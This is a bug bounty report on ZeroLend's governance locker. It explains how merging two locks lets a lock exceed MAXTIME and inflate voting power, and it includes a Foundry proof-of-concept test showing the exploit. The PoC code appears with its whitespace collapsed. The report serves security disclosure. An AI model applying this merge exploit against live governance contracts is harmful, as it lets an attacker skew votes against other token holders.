28892 - [SC - Medium] ZeroLockermerge can make a voting lock last lon...
Submitted on Mar 1st 2024 at 01:23:04 UTC by @jovi for Boost | ZeroLend
Report ID: #28892
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
I have previously reported an issue called "ZeroLocker:merge can make a voting lock last longer than 4 years" as a primary medium-severity issue at Cantina's contest as there wasn't a voting power calculation function at that codebase. I am reporting it again as the impact at the codebase in Immunefi's scope is higher and presents a significance for the voting mechanics.
Brief/Intro
The BaseLocker contract allows users to merge two different locks and end up with a lock that has a longer than MAXTIME difference between the end time and start time. This inflates the calculation of voting power for locks and give them an unfair advantage on governance.
Vulnerability Details
The merge method enables a user to bypass the MAXTIME requirement by creating two different locks that last MAXTIME, one at Time0 and the second one some time later at Time1 then merging with the first lock as the merge target (or to argument) at the merge call:
As the merge function at the BaseLocker contract does not check whether the end minus the locked0.start is not greater than MAXTIME, it enables arbitrary-sized lock durations:
The depositFor internal method updates the lock, but it doesn't check the end timestamp and the start timestamp difference either, the only sanity check is in regards to unlockTime != 0:
if (_unlockTime !=0) lock.end = _unlockTime;
This enables calculatePower to utilize a numerator bigger than MAXTIME, inflating locks amounts voting power:
The whole voting mechanics is spoofed as merging allows users to have voting powers bigger than the maximum possible for the amounts deposited. This effectively makes governance a game of merging locks at the last possible moment before a voting start in order to have ever-increasing voting powers.
References
Snippet in which merge doesn't check the total duration of the lock: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L180C8-L185C28 CalculatePower internal method: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L112C4-L117C1
Proof of concept
PoC
Set up foundry on hardhat by placing
import"@nomicfoundation/hardhat-foundry";
at the hardhat.config.ts file. Don't forget to install "@nomicfoundation/hardhat-foundry". Then install foundry at the contracts folder with the following command:
Place the following code-snippet at the Test.t.sol file inside the test folder:
// SPDX-License-Identifier: MITpragmasolidity ^0.8.20;import {console} from"../../lib/forge-std/src/console.sol";import {StdInvariant} from"../../lib/forge-std/src/StdInvariant.sol";import {LockerLP} from"../../locker/LockerLP.sol";import {Test} from"../../lib/forge-std/src/Test.sol";import {ERC20} from"@openzeppelin/contracts/token/ERC20/ERC20.sol";contractMintableERC20isERC20 {addresspublic owner;constructor(stringmemory name,stringmemory symbol) ERC20(name, symbol) { owner = msg.sender; }modifieronlyOwner() {require(msg.sender == owner,"MintableERC20: caller is not the owner"); _; }functionmint(address to,uint256 amount) publiconlyOwner {_mint(to, amount); }}contractZeroLendTestisStdInvariant, Test { LockerLP lockerLP; MintableERC20 arbitraryToken;address user =makeAddr("user");addresspublic configurator =makeAddr("configurator");uint256internal WEEK;uint256internal MAXTIME;functionsetUp() public { vm.prank(configurator); arbitraryToken =newMintableERC20("Arbitrary Token","ATKN"); vm.prank(configurator); arbitraryToken.mint(user,1ether); vm.prank(configurator); lockerLP =newLockerLP(); lockerLP.init(address(arbitraryToken),// staking addressaddress(0x1000),// stakingBonusaddress(0x1001) ); WEEK =1weeks;// MAXTIME is set to 1 year as it is the value set at the initialization of the LockerLP contract MAXTIME =365*86400; }functiontest_poc() public { vm.prank(user); arbitraryToken.approve(address(lockerLP),1ether);uint256 unlockTime0 = ((block.timestamp + MAXTIME) / WEEK) * WEEK; // Locktime is rounded down to weeks vm.prank(user); lockerLP.createLock(0.5ether, unlockTime0,false);// pass some time vm.warp(block.timestamp + WEEK);uint256 unlockTime1 = ((block.timestamp + MAXTIME) / WEEK) * WEEK -100; // Locktime is rounded down to weeks vm.prank(user); lockerLP.createLock(0.5ether, unlockTime1,false); vm.prank(user); lockerLP.merge(2,1); (uint256 amountLocked,uint256 end,uint256 start,) = lockerLP.locked(1);// check if amount locked is 1 etherrequire(amountLocked ==1ether,"wrong amount locked");// check the difference between the end and the start require(end - start > MAXTIME,"lock duration is not over 1 year");// check if voting power is bigger than what should be possibleuint256 maxVotingPower = MAXTIME * amountLocked / MAXTIME;uint256 currentVotingPower = (end - start) * amountLocked / MAXTIME;require(currentVotingPower > maxVotingPower,"current voting power is not bigger than maximum expected value"); }}